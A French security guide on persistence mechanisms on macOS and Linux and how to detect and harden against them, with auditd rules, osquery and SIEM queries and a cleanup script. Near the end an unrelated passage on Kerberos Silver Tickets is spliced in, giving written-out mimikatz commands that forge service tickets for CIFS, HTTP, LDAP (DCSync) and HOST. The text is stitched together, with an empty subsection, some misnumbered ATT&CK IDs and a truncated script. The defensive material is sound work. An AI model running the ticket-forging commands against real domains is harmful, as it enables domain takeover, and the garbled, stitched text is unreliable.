Persistence sur macOS & - Guide Pratique Cybersecurite

Cette analyse detaillee de Persistence sur macOS & - Guide Pratique Cybersecurite s'appuie sur les retours d'experience d'equipes de securite confrontees quotidiennement aux menaces actuelles. Les methodologies presentees couvrent l'ensemble du cycle de vie de la securite, de la detection initiale a la remediation complete, en passant par l'investigation forensique et le durcissement des configurations. Les recommandations sont directement applicables dans les environnements de production et tiennent compte des contraintes operationnelles rencontrees par les equipes techniques sur le terrain. Les outils et techniques presentes ont ete valides dans des contextes reels d'incidents et de tests d'intrusion. La mise en oeuvre d'une strategie de defense en profondeur reste essentielle face a l'evolution constante du paysage des menaces, en combinant prevention, detection et capacite de reponse rapide aux incidents de securite.

Cette analyse technique de Persistence sur macOS & - Guide Pratique Cybersecurite s'appuie sur les retours d'experience d'equipes confrontees quotidiennement aux defis operationnels du domaine. Les methodologies presentees couvrent l'ensemble du cycle de vie, de la conception initiale au deploiement en production, en passant par les phases de test et de validation. Les recommandations sont directement applicables dans les environnements professionnels.

Résumé exécutif

Les menaces persistantes ciblant macOS et Linux s'appuient sur des mécanismes natifs d'initialisation et de chargement dynamique : LaunchAgents/LaunchDaemons, systemd, services init, hooks LDPRELOAD. Les attaquants exploitent ces fonctionnalités pour survivre aux redémarrages, escalader leurs privilèges ou maintenir un accès discret. Cet article explore les principales techniques de persistance sur macOS et Linux, les méthodes de détection, les stratégies de durcissement et les playbooks de réponse. Il s'adresse aux équipes SecOps, SOC, et administrateurs souhaitant renforcer la résilience de leurs environnements Unix-like. Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution.

Panorama des mécanismes de persistance

• macOS LaunchAgents/LaunchDaemons : fichiers .plist dans /Library/LaunchAgents, /Library/LaunchDaemons, ~/Library/LaunchAgents.
• systemd (Linux) : unit files (.service, .timer) dans /etc/systemd/system, ~/.config/systemd/user.
• init scripts (SysV, rc.local) : double support dans environnements legacy.
• cron et at : tâches planifiées.
• LDPRELOAD / DYLDINSERTLIBRARIES : injection de librairies partagées côté utilisateur ou système.
• Bash profile & shell init : .bashrc, .profile, .zshrc.
• LaunchServices, login items (macOS).
• Kernel extensions, Launchd sockets.

Combien de vos contrôles de sécurité ont été testés en conditions réelles cette année ?

LaunchAgents & LaunchDaemons (macOS)

Fonctionnement

Launchd orchestre les services. Les LaunchAgents s'exécutent dans le contexte utilisateur, les LaunchDaemons au niveau système (root). Les fichiers .plist contiennent ProgramArguments, RunAtLoad, KeepAlive. Les attaquants créent des .plist pointant vers des scripts malveillants, avec KeepAlive pour redémarrer automatiquement.

Techniques d'abus

• Placer un .plist dans ~/Library/LaunchAgents pour persistance utilisateur.
• Utiliser Label légitime (ex : com.apple.updates).
• WatchPath pour déclencher script sur modification.
• ProgramArguments exécutant osascript ou curl.

Détection

• Surveiller création/modification .plist (FSEvents, Endpoint Security).
• Collecter via EDR (File create) et Sysmon for macOS.
• Scripts launchctl list pour lister processus.
• Hash/whitelist des .plist attendus.

Durcissement

• Restreindre écriture sur /Library/LaunchAgents aux admins.
• Monitor via osquery (launchd table).
• Utiliser PPPC (Privacy Preferences Policy Control) pour limiter les exécutables.
• Endpoint Security Framework (ESF) pour intercept AUTHEXEC.

systemd (Linux)

Fonctionnement

Systemd gère les services (systemctl). Les unit files peuvent être system-level (/etc/systemd/system) ou user-level (~/.config/systemd/user). Les attaquants créent des services avec ExecStart pointant vers payload.

Techniques d'abus

• systemctl enable un script malveillant.
• systemd timers pour exécutions périodiques.
• EnvironmentFile pour injection (LDPRELOAD).
• User service (systemctl --user) persistant.

Détection

• Monitor journalctl -u pour services suspects.
• systemctl list-unit-files comparé à baseline.
• Inotify/auditd sur /etc/systemd/system (syscall open, write).
• Falco/eBPF pour alert sur systemctl enable.

Durcissement

• Utiliser Systemd drop-in pour restreindre, ProtectSystem=full, NoNewPrivileges=yes.
• Restreindre qui peut systemctl enable (sudoers).
• Interdire systemd --user pour comptes non administratifs.

LDPRELOAD / DYLDINSERTLIBRARIES

Concept

Variables d’environnement instructent le loader à précharger une librairie. Permet d’injecter du code dans tous les processus. Les attaquants utilisent des bibliothèques malveillantes pour intercepter API, ex filtrer mots de passe.

Techniques

• export LDPRELOAD=/tmp/libmalicious.so via .bashrc.
• setenv DYLDINSERTLIBRARIES dans LaunchAgents.
• systemd Environment=LDPRELOAD=....

Détection

• Surveiller les variables d’environnement (auditd, osquery processenvs).
• Inspecter les librairies chargées (LDDEBUG, lsof -p).
• Sysmon for Linux EventID 7 (image loaded) ou auditd execve pour environnements.

Durcissement

• ld.so.preload géré par root -> audit stricte.
• selinux/apparmor pour limiter chargement.
• RestrictedShell pour comptes non admin.

Votre processus de patch management couvre-t-il l'ensemble de votre parc applicatif ?

Cron et tâches planifiées

• crontab -l, /etc/cron..
• launchctl list pour com.apple.Periodic.

Détection : monitor modifications (auditd, fsnotify). Durcissement : limiter cron.allow, crontab root.

Bash/Zsh init scripts

• .bashprofile, .zshrc, .bashlogout.
• LoginHook (macOS).

Les attaquants injectent des commandes (download, persistence). Détection : auditd sur open, osquery usershellhistory. Durcissement : chattr +i (Linux) sur .bashprofile, monitor integrity (Tripwire).

Kernel extensions et System Integrity Protection (macOS)

Les kexts malveillants fournissent persistance. macOS impose SIP (System Integrity Protection) et notarisation. Les attaquants cherchent à désactiver SIP. Détection : logs system.log, kmutil. Durcissement : autoriser uniquement Kext signées, MDT (Mobile Device Management) config.

Observabilité et EDR

Les EDR (CrowdStrike, SentinelOne, Carbon Black, Defender for Endpoint) fournissent :

• Télémétrie process, file ops.
• Règles YARA-L, detection script-based.

Les organisations configurent alerts :

• launchctl load par utilisateur non admin.
• systemctl enable par compte d'application.
• LDPRELOAD set via echo.

osquery & monitoring

Osquery tables utiles :

• launchd (macOS) -> enumerer LaunchAgents.
• crontab -> entries.
• systemdunits.
• startupitems (legacy Mac).
• processenvs -> detect LDPRELOAD.

Déploiement via FleetDM, Kolide. Les requêtes programmées surveillent et alertent (Velocity).

Auditd et eBPF (Linux)

Auditd rules :

-w /etc/systemd/system -p wa -k systemd-change
-w /etc/ld.so.preload -p wa -k ldpreload
-w /etc/cron.d -p wa -k cron

eBPF (Falco, Tetragon) rules :

• systemd modifications.
• execve with LDPRELOAD env.

Les logs sont envoyés SIEM. Les perforrmances eBPF < auditd.

Stratégies de baselines et whitelists

• Inventaire initial (md5sum des .plist, .service).
• Tripwire, AIDE pour integrity.
• Baseline par VM image (golden).

Les changes sont comparés (CI/CD). Les anomalies -> ticket.

Playbooks de réponse

1. Identifier persistance (LaunchAgent, systemd). 2. Isoler host, collecter artefacts (launchctl print, systemctl cat). 3. Supprimer entry, revert modifications. 4. Rechercher propagation (hunting). 5. Restaurer integrité (reboot, check). 6. Investiguer vecteur initial.

Le playbook inclut scripts (PowerShell for mac?). Les incidents documentés.

Étude de cas : LaunchAgent malveillant

Une entreprise a détecté un LaunchAgent com.apple.updater.plist dans ~/Library/LaunchAgents. L'analyse a montré ProgramArguments -> curl un script bash. EDR a alerté (file create). L’agent a été supprimé, le script analysé (stealer). Le vecteur : phishing. Lessons : renforcer training, ajouter osquery query.

Étude de cas : systemd backdoor

Sur un serveur Linux, un service systemd-update.service s’exécutait. ExecStart pointait vers /usr/local/bin/.hidden. Les logs journalctl montraient exécution nocturne. L’origine : infiltration via vulnérabilité web. Remédiation : remove service, patch, monitoring. Les règles Falco mises à jour.

Hardened macOS : MDM et profils

Les environnements d'entreprise utilisent MDM (Jamf, Kandji) :

• Profils restreignant LaunchAgents tiers (com.apple.security.application-groups).
• Activation EndpointSecurity monitoring.
• Login Items sous controle (ConfigurationProfile).
• Gatekeeper Assessments loggés.

Les Mac gérés reçoivent config kill pour LaunchAgents non autorisés. Les logs Unified Logging -> log show --style json.

Hardened Linux : CIS Benchmarks

• CIS Linux Benchmark -> sections init, systemd.
• chmod 600 /etc/crontab.
• systemd-analyze blame pour lister.

Applying CIS via Ansible, Chef. Regular compliance scans (OpenSCAP).

LDPRELOAD atténuation via noexec

• Monter /tmp, /var/tmp en noexec pour empêcher librairies.
• Utiliser securepath dans sudoers.
• ExecShield, ASLR.

Les dossiers user ne peuvent exécuter libs. glibc respect LDPRELOAD -> noexec stop.

Reverse shell detection

Persistance appelle reverse shell. Detection :

• Network monitoring (Zeek).
• Little Snitch/LuLu (macOS).
• iptables logs.

Les signatures (outbound vers IP suspect). CrowdStrike -> detection exfil.

Automation via SOAR

• Alerte launchctl load -> SOAR exécute script launchctl unload.
• systemctl enable suspicious -> disable, notify.

Les playbooks scannent la machine (osquery) post-action. Les incidents clos par SecOps.

Hunting scenarios

• Find unusual LaunchAgents : Label non Apple, path non standard.
• systemd service ExecStart outside /usr/bin.
• Process env contains LDPRELOAD.

KQL (Sentinel) :

DeviceProcessEvents
| where OSPlatform == "macOS" and InitiatingProcessFileName == "launchctl" and ProcessCommandLine contains "load"

Elastic :

process where process.envvars contains "LDPRELOAD" and not process.name in (allowed)

Journaux spécifiques

• macOS Unified logs (log collect).
• system.log (Launchd).
• Linux journalctl, /var/log/syslog.

Collect via Fluent Bit, beats. Centralisation -> indexation.

Tests réguliers

• Powerforensics for Mac? (Torque).
• Scripts persistence-auditor (OSQuery packs).
• Purple team (Atomic Red Team tests T1547.009).

Les tests valident détections (simulate LDPRELOAD).

MITRE ATT&CK mapping

• T1547.011 (macOS LaunchAgent).
• T1543.002 (systemd service).
• T1574.006 (LDPRELOAD).
• T1053 (Scheduled Task).
• T1037 (Boot or Logon Initialization Scripts).

Les détections alignées sur MITRE. Couverture tracked.

Durcissement via AppArmor/SELinux/SMACK

Configurer MAC :

• AppArmor profiles pour systemd limit exec.
• SELinux policy allow systemdt minimal.

S'assurer que policies ne permettent pas les exec non attendus.

Intégration avec vuln management

• Scanner OS patch (JAMF, SCCM).
• Patching reduce privilege escalations.
• Baselines (CIS) -> measure compliance.

Collaboration SecOps-IT

Les modifications persistances souvent légitimes (agents MDM). Process :

• Change management.
• Catalogue autorisé.
• Communication (tickets).

Les exceptions documentées. allowlist maintenue. Pour approfondir, consultez SSRF moderne (IMDSv2, gopher/file,.

Convergence detection Windows/Linux/macOS

• XDR centralise (Microsoft 365 Defender, CrowdStrike).
• Use cross-platform analytics.

Des alerts multi-OS -> plus simple pour SOC.

Note finale

La persistance sur macOS et Linux requiert une surveillance continue des mécanismes natifs. En combinant instrumentation (osquery, EDR, auditd), durcissement (MDM, policies), hunts proactifs et réponse structurée, les organisations réduisent la fenêtre d'opportunité des adversaires. La vigilance doit être constante, alimentée par des tests réguliers et une collaboration étroite entre SecOps et les équipes plateformes.

Approche par niveaux de privilèges

Les techniques de persistance varient selon le niveau d'accès :

• Utilisateur non privilégié : LaunchAgents dans home, crontab -e, modifications .bashrc, systemd --user.
• Privilèges root : LaunchDaemons, /etc/systemd/system, /etc/rc.local, ld.so.preload.
• Noyau : Kexts macOS (nécessite désactivation SIP), modules kernel Linux (/etc/modules-load.d).

La détection doit segmenter les surfaces par privilège. Les comptes root compromettus exigent une réinstallation ou restauration d'image.

Détection via machine learning et scoring d'anomalie

Certaines organisations adoptent UEBA pour macOS/Linux :

• Features : nombre de fichiers .plist modifiés, Process commandline, durée d'exécution.
• Modèles : Isolation Forest, One-Class SVM sur logs osquery.

Les anomalies sont examinées par SOC. Exemple : un utilisateur non admin créant un LaunchAgent à 2h du matin -> score élevé. Les modèles doivent être calibrés pour limiter faux positifs (les MDM installent des agents).

Inventaire centralisé des services

Un service interne agrège :

• Liste des LaunchAgents/Daemons par machine.
• Services systemd (nom, chemin, hash).

Comparaison avec baseline, reporting (Power BI). Les modifications non approuvées trigger un ticket. Ce service se base sur osquery, SaltStack, Ansible fact.

Règles Sigma / YARA-L

• Sigma pour journaux Linux : category:processcreation + systemctl enable.
• YARA-L pour .plist (strings RunAtLoad, path unusual).

Ces règles sont converties pour Splunk, Sentinel.

Forensic : collecte et analyse

Lors d'un incident :

• Dump de la liste LaunchAgents (plutil -p).
• Collect du plist et binaire (hash, timestamp, signature).
• fsusage (macOS) pour real-time file operations.
• lsof netstat pour connexions.
• Volatility (macOS/Linux) pour artefacts en mémoire (modules).

Les preuves sont stockées (chain of custody). Les scripts (GRR Rapid Response) collectent automatiquement.

Durcissement par conformité (CIS, DISA)

Les benchmarks CIS macOS et Linux recommandent :

• Interdire login automatique.
• Restreindre cron.
• S'assurer que LaunchAgents et LaunchDaemons appartiennent à root.

Les audits (SCAP) identifient écarts. Les corrections via Ansible.

Integration with patch management

• macOS : softwareupdate, Jamf policies -> patch (atténue exploit).
• Linux : apt, yum, dnf -> schedule patch.

Les attaques de persistance exploitent souvent des systèmes non patchés pour escalade. Patching régulier complémente.

Logging convergent (syslog, unified logging)

Les logs sont centralisés :

• macOS Unified logging converti en syslog via log stream.
• Linux rsyslog -> aggregator (Graylog, Splunk).

Les filtres extraits patterns (launchd, systemd).

Diminution de surface d'attaque

• Désactiver services inutiles, ex Remote Login (SSH) sur Mac si non nécessaire.
• Utiliser TCC pour limiter automation (macOS).
• Harden SSH (2FA).

Moins de surface -> moins de cibles pour persistance.

Response automation.

Exemple de script SOAR pour macOS :

1. Reçoit event Transition (LaunchAgent suspicious). 2. ssh sur machine, exécute launchctl bootout gui/$UID /path/to/plist. 3. Supprime .plist, binaire. 4. Recueil plutil -p pour dossier. 5. Notifie utilisateur.

Pour Linux : systemctl stop, disable, rm service.

Persistance via containers et WSL

• macOS Docker : conteneurs persistent via restart. Monitoring docker events.
• Linux : systemd unit docker-container.
• WSL (Windows Subsystem Linux) : ~/.bashrc modifications peuvent affecter environnements développeur.

Les environnements container doivent être surveillés (Falco).

Collecte de metadata pour threat intel

Les incidents alimentent TI : hash, domaine C2, comportement. La TI interne enrichit detection (blocklist). Partage via MISP.

Collaboration avec SRE et IT Ops

Beaucoup de persistance légitime (agents monitoring). Process :

• SRE fournit liste autorisée des services.
• SecOps alloue tags approved.
• Toute nouvelle persistance -> ticket change.

Tests de chaos engineering

Simuler suppression LaunchAgent légitime -> vérifier detection. Permet d’ajuster baselines.

KPI

• Temps de détection (MTTD) persistance.
• % machines avec baseline actualisée.
• Nombre de persistance malveillante détectée par mois.
• Temps de remédiation (MTTR).

Les KPIs communiqués au CISO.

Formation des analystes SOC

Les analystes reçoivent :

• Guides MITRE T1543, T1574.
• Labs (Google Rapid Response, Velociraptor).

Simulation (range) pour inspecter LaunchAgents.

Scripting exemple (osquery)

SELECT  FROM launchd WHERE programarguments LIKE '%curl%';
SELECT  FROM systemdunits WHERE path LIKE '%/tmp%';
SELECT  FROM processenvs WHERE key='LDPRELOAD';

Ces queries programmées (schedule) avec alerting si row > 0.

Security baselines par rôle

• Mac développeur vs Mac finance -> policies distinctes.
• Serveur web vs server DB.

Les exceptions spécifiques documentées.

Collaboration avec Apple et Linux vendors

Participer aux programmes Apple Security, Linux distros (Red Hat). Rapporter anomalies. Mise à jour sur patchs.

MITRE D3FEND

• D3-EP0005 Execution Prevention: AppLocker/solutions Mac.
• D3-UE0001 User Env Monitoring: observe LDPRELOAD.

Mapping des contre-mesures.

Approche Zero Trust Endpoint

• Device compliance (macOS: Jamf).
• Attestation (Linux: TPM).
• Access conditional (Intune).

Si un host non compliant (persistance suspecte) -> accès bloqué (VPN, SSO).

Case Study : LDPRELOAD trojan sur serveur HPC

Un cluster HPC a subi injection LDPRELOAD pour exfiltration jobs. Détection via logs slurm. Remédiation : disable user-run LDPRELOAD, monitoring, reimage.

Outils open source complémentaires

• KnockKnock (macOS) pour inspecter persistance.
• BlockBlock (macOS) -> alert on persistence install.
• Autoruns for Linux (Sysinternals).

These tools complement SIEM. Pour approfondir, consultez Cryptographie Post-Quantique : Migration Pratique.

Questions frequemment posees

Conclusion étendue

La persistance sur macOS et Linux exploite des fonctionnalités légitimes. Une approche multi-couches (durcissement, monitoring comportemental, baselines, SOAR, hunting) permet de réduire le dwell time adversaire. Les équipes doivent continuellement adapter leurs contrôles aux évolutions des TTP et partager les insights avec la communauté sécurité.

Perspectives historiques et évolution des TTP

Les techniques de persistance évoluent avec les protections :

• Années 2000 : scripts init (/etc/rc.d), cron. Peu de protections.
• Années 2010 : adoption LaunchAgents, systemd ; introduction Gatekeeper, SIP.
• Années 2020 : atténuation avec MDM, EndpointSecurity, eBPF ; TTP se déplacent vers User LaunchAgents, systemd timers, LDPRELOAD.

Les attaquants adaptent : plus de persistance user-level (contours SIP). Les blue teams doivent maintenir une veille active (blogs SentinelOne, Objective-See).

Couverture MITRE ATT&CK Enterprise

Tableau :

• T1543.003 : Unix Shell Configuration Modification.
• T1543.002 : Systemd Service.
• T1547.011 : Launch Agent.
• T1574.006 : LDPRELOAD.
• T1053.003 : Cron.
• T1037.004 : RC Scripts.

Mapping coverage -> detection status (Prevent/Detect/Monitor). Les Playbooks alignés.

Automatisation de l'inventaire via Ansible

Playbook Ansible :

- hosts: macs
  tasks:
    - name: Gather LaunchAgents
      find:
        paths:
          - /Library/LaunchAgents
          - /Library/LaunchDaemons
          - /Users//Library/LaunchAgents
        patterns: ".plist"
      register: launchagents
    - debug: var=launchagents.files

Résultats envoyés à Elastic (Filebeat). Sur Linux :

- name: Gather systemd services
  command: systemctl list-unit-files --type=service --no-pager

Les jobs orchestrés (Tower/AWX).

Endpoint Security Framework (macOS) déploiement

• Agents tiers (CrowdStrike) s'appuient sur ESF.
• Développer un agent custom (ESF) pour log eseventtypenotifyexec, eseventtypenotifyauthsetuid.
• Hook sur eseventtypenotifycreate pour .plist.

Les logs envoyés en JSON. Exige Team ID Apple, MDM pour déploiement.

Unified Logging queries

Commandes :

log show --predicate 'eventMessage CONTAINS "launchd" AND subsystem == "com.apple.launchd"' --last 1d
log show --predicate 'eventMessage CONTAINS "LDPRELOAD"' --last 7d

Les résultats analysés via scripts (Python). On intègre à SIEM via log stream --style syslog.

Contrôles physiques et biométriques

• Mac : TouchID, Secure Enclave, FileVault 2 -> protège contre accès offline.
• Linux : LUKS, TPM.

La persistance doit survivre à redémarrage ; le chiffrement protège si machine off.

Hardening Boot et firmware

• Secure Boot (macOS : Boot ROM).
• UEFI Secure Boot (Linux).

Les malwares firmware -> plus rare, mais surveillances (Chipsec).

Réponse rapide : suppression orchestrée

Script Bash pour supprimer user LaunchAgents :

#!/bin/bash
USERHOME=$1
for plist in $USERHOME/Library/LaunchAgents/.plist; do
  launchctl bootout gui/$(id -u $(basename $USERHOME)) "$plist"
  rm "$plist"
  echo "Removed $plist"
done

Utilisé via MDM (Jamf policy). On documente l'action dans ticket.

Forensic Linux : outils

• Loki (SANS) pour scanning rootkits.
• Chkrootkit, rkhunter.
• Log2timeline pour timeline.

Ces outils identifient modifications.

Variation cross-distro

• Debian/Ubuntu vs RHEL -> emplacement services diff.
• init.d (SysV) sur distros legacy.

Les scripts doivent couvrir rc.local, /etc/rc.d/rc.d.

Personnalisation de System Integrity Protection

Les entreprises peuvent activer Profiles restreignant SystemExtensions. Pour les Mac ARM, enforce Kernel Extension Policy. Cela complique persistance root.

Surveillance FIM (File Integrity Monitoring)

Solutions (Tripwire, Qualys FIM) :

• Monitor /Library/LaunchAgents, /etc/systemd/system.
• Alert if add/modify/delete.

Intégration à SOC.

Multi-factor detection (Chaining signals)

Combinaison de signaux :

• Création .plist + exécution curl.
• systemctl enable + communication C2.

XDR automatise (fusion). Les alertes de haute confiance.

Communication & awareness utilisateurs

• Guides pour utilisateurs : ne pas autoriser pop-ups persistent helper.
• iOS / macOS -> pop-ups Allow helper -> suspicion.

Les campagnes emails.

Purple Team : atomic tests

• Run macOS T1547.011 via Atomic Red Team -> launchctl load.
• Validate detection (alert?).

Rapports partagés. Les tests planifiés quarterly.

Insight sur malwares (BazarBackdoor, Silver Sparrow)

• Silver Sparrow (macOS) utilisait LaunchAgents.
• Shlayer -> persistence via cron.

Les analyses publiées (Red Canary) -> signatures.

Collaboration communautaire

• Objective-See (Patrick Wardle) propose outils (block).
• MITRE ATT&CK updates -> contributions.

Les organisations partagent IOCs anonymisés.

Intégration InfoSec & SecOps

• InfoSec (politique) -> SecOps (opération).
• RACI pour persistance : detection (SOC), réponse (SecOps), root cause (IT).

Process documenté.

Legacy vs Modern

Les environnements legacy (init.d) doivent plan migrer vers systemd. Les scripts non migrés fav persistance.

Contrôle accès fichiers

• chmod 600 .plist. Les directories set sticky bit.
• chown root on system directories.

Les permissions mal configurées -> exploitation (ex : user writing to /Library/LaunchDaemons).

Endpoint compliance checks

• Jamf Smart Groups : devices avec LaunchAgents non approuvés.
• Linux compliance script -> report.

Déclenche remédiation.

Cloud endpoints (macOS dans cloud)

Ex : MacStadium, AWS EC2 Mac. Les mêmes contrôles s’appliquent. Les orchestrations (Ansible) gèrent remote.

Wazuh/OSSEC intégration

• Wazuh agent sur Linux/macOS -> FIM.
• Règles : detect useradd, systemctl.

Alerts via Wazuh manager -> SIEM.

Data lake usage

Stockage long terme (S3) pour logs. Permet lookback 1 an. Helpe pour APT detection. Pour approfondir, consultez Sécurité LLM Adversarial : Attaques, Défenses et Bonnes.

Offboarding & hygiene

• Lorsqu’un employé quitte, supprimer LaunchAgents custom, user home.
• MDM retire device.

Cela évite persistence orpheline.

Penetration test checklists

Pentesters incluent checks :

• ls ~/Library/LaunchAgents.
• systemctl list-timers.
• strings /etc/ld.so.preload.

Les rapports recommandent corrections.

Gestion de configuration (IaC)

• Chef/Ansible -> enforce launchd state.
• osquery pack -> compliance.

IaC ensures consistency.

Influence des conteneurs

Les conteneurs ont cycle court -> persistance plus difficile. Cependant, les images base persistent. Monitor ENTRYPOINT, CMD.

Response post-mortem

Chaque incident documentation : timeline, detection, response, root cause, fix. Lessons -> backlog.

Metrics & reporting

Tables :

• Hosts scanned, Hosts with anomalies.
• Time to removal.

Graph (line chart).

Futures évolutions

• Apple Endpoint Security enhancements.
• Linux LSM (BPF-based) pour policies dynamiques.

Les blue teams se préparent (PoC).

Final conclusion

Renforcer la détection et la prévention des mécanismes de persistance sur macOS et Linux nécessite une combinaison de technologies (osquery, EDR, auditd), de politiques (MDM, CIS), de formation et d'amélioration continue. En restant proactifs, en testant régulièrement leurs défenses et en collaborant avec la communauté, les défenseurs peuvent minimiser la durée de vie des implantations adverses et protéger leurs actifs critiques.

Intégration avec Identity & Access Management

Les techniques de persistance sont souvent couplées à des abus d'identité. Contrôles :

• Liens MDM ↔ Azure AD (compliance).
• Conditional Access bloque accès si device compromis (persistance détectée).

Les logs Okta/Azure AD corrélés avec novel LaunchAgent -> alerte. L'automatisation révoque sessions et tokens.

Convergence avec mobile et iPadOS

Les environnements macOS coexistent avec iOS/iPadOS : les TTP diffèrent, mais la gestion unifiée via MDM (profils) renforce posture globale. Les politiques restrictives (pas d'installation applications non signées) réduisent besoin de persistance. Le SOC surveille aussi mobileconfig.

Récupération et reconstitution système

Lorsqu'une machine compromis root-level :

• Rebuild via image gold (DEP, Autopilot).
• Restaurer données utilisateur chiffrées (FileVault, Time Machine).
• Rejoindre MDM, exécuter script post-install.

La standardisation accélère recovery, limite persistance récurrente.

Persistance dans environnements virtualisés

• Parallels Desktop/VMware Fusion sur macOS : VMs Linux peuvent être persistance pivot.
• VirtualBox VMs : snapshot -> revert but persistence peut se propager.

Les policies interdisent VMs non approuvées. Les monitoring (osquery) list virtualmachines.

Sécurité sur architectures ARM (Apple Silicon, ARM Linux)

• macOS ARM (M1/M2) : Kernel extension remplacé par System Extensions. Les attaquants explorent User Approved Kernel Extensions (UAKEL).
• Linux ARM : even systemd, same.

Les contrôles adaptent : systemextensions allowlist, Rosetta restrictions.

Interactions avec frameworks de développement

Les environnements dev (Xcode, Android Studio) installent LaunchAgents légitimes. Baseline doit couvrir (ex : com.google.keystone). Les devs informés de la nécessité de packager leurs outils proprement.

Détection sur logs network interne

Les implants persistent souvent via beacon. L'analyse netflow/vpc logs identifie patterns (Arbor). Coupler detection process + network augmente confiance. Les pipelines ML sur logs (Zeek) pinpoint sessions.

Threat intelligence spécifiques

• feeds Objective-See (#macOS).
• Red Canary macOS Threat Detection Report.
• AlienVault OTX pour TTP Linux.

Les IOCs importés (MISP). Les détections adaptent (matching).

Mise en place d’un centre de compétences Unix/Mac Security

• Equipe dédiée, cross-fonctionnelle.
• Maintient baselines, scripts, documentation.

Comps : admin macOS, Linux, sec.

Processus de validation de logiciels tiers

• Avant installation, vérification signature, hash, vendor.
• Whitelist via MDM.

Empêche l’introduction de LaunchAgents non contrôlés.

Alignement sur charte sécurité

La charte utilisateur Mac précise :

• Interdiction installation daemons non approuvés.
• Obligation signaler alertes sécurité.

Le HR support (communication).

Pilotage par metrics de résilience

• % detections blocked automatically.
• Nombre devices non conformes.

Ces metrics comparés trimestriellement.

Adoption de NIST 800-171 / 800-53

Les contrôles (CM-6, SI-3) appliqués. Les audits examinent logs, policies. Les rapports (POA&M).

Durcissement via security profiles (macOS)

• Restriction Login Items (com.apple.loginitems).
• Privacy Preferences (TCC) : deny automation untrusted.
• Kernel extension policy -> only approved team IDs.

Les profiles déployés via MDM.

Linux Managed Platforms (fleet)

Outils comme FleetDM gèrent osquery. Chef/Puppet orchestrent config. GitOps (Flux) pour config state. Les modifications en dehors pipeline -> alert.

Diffusions d’alertes et centre de réponse

Les alertes (LaunchAgent suspicious) notifiées via Slack/Teams. SOC runbook inclut instructions. Les incidents classés (P1, P2).

Packaging scripts detection

Les adversaires encapsulent persistance dans packages .pkg (macOS). Les scripts postinstall persistent. Analyse : pkgutil --expand. On scanne Scripts/postinstall. Les pipelines Mac ingest pkg -> sandbox.

Cloud-managed Linux (Fleet, GCE)

Dans le cloud, orchestrer startup-script (Compute Engine). Les adversaires modifient metadata. Détection : logs SetMetadata. Les policies interdisent modifications non autorisées. Le SOC surveille gcloud compute instances add-metadata.

Politique de rotation de machines

Certains environnements adoptent replace instead of reimage (immutable). Machines developer remplacées cyclical -> efface persistence.

Alerte sur moustaches (obfuscation)

Les LDPRELOAD var peuvent être obfusqués ($\x2f...). Les détections incluent normalisation.

Response cross-team war-room

En incident majeur : War-room (SecOps, IT, Dev). Usage d'outils collab (Miro). Document progression. Pour approfondir, consultez DNS Attacks : Tunneling, Hijacking et Cache Poisoning.

Mise en œuvre de FDE (Full Disk Encryption)

FileVault, LUKS : empêche offline tamper installation persistance. Combiner orientation (reboot -> require login).

Journaux de TCC (macOS)

TCC (Transparency, Consent, Control) logs : sqlite3 /Library/Application Support/com.apple.TCC/TCC.db. Permettent de détecter autorisations suspectes (Full Disk Access). Les implants persistent via privilèges TCC. Monitor via tccutil.

Linux security frameworks (Auditbeat)

Elastic Auditbeat collect fileintegrity events. Config :

fileintegrity:
  paths:
    - /etc/systemd/system
    - /usr/lib/systemd/system
    - /etc/cron.d

Indices auditbeat-*.

Base d’apprentissage incidents

Créer base knowledge :

• Description TTP.
• Indicateurs.
• Playbook.

Accessible via wiki.

Collaboration avec fournisseurs EDR

• Feedback sur détections (tuning).
• Participation aux programmes Beta (macOS).

EDR updates intègrent custom detections.

Contre-mesures LDPRELOAD avancées

• pamenv conf pour ignorer LDPRELOAD.
• ld.so compile option --disable-audit.

Des environnements sensibles compile glibc custom.

Impact sur SRE/DevOps

Les SRE doivent adapter monitoring (systemd). Observabilité (Prometheus) -> metrics systemdunit_state.

Approches Zero Touch provisioning

ZTP (macOS ADE, Linux auto install) ensures baseline. Toute machine rejointe -> policies, scanning.

Conclusion additionnelle

En orchestrant ces contrôles, l’organisation construit un modèle de défense robuste, capable de détecter rapidement les tentatives de persistance sur macOS et Linux, d’isoler les machines compromises et de restaurer un état sain sans perturber la productivité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

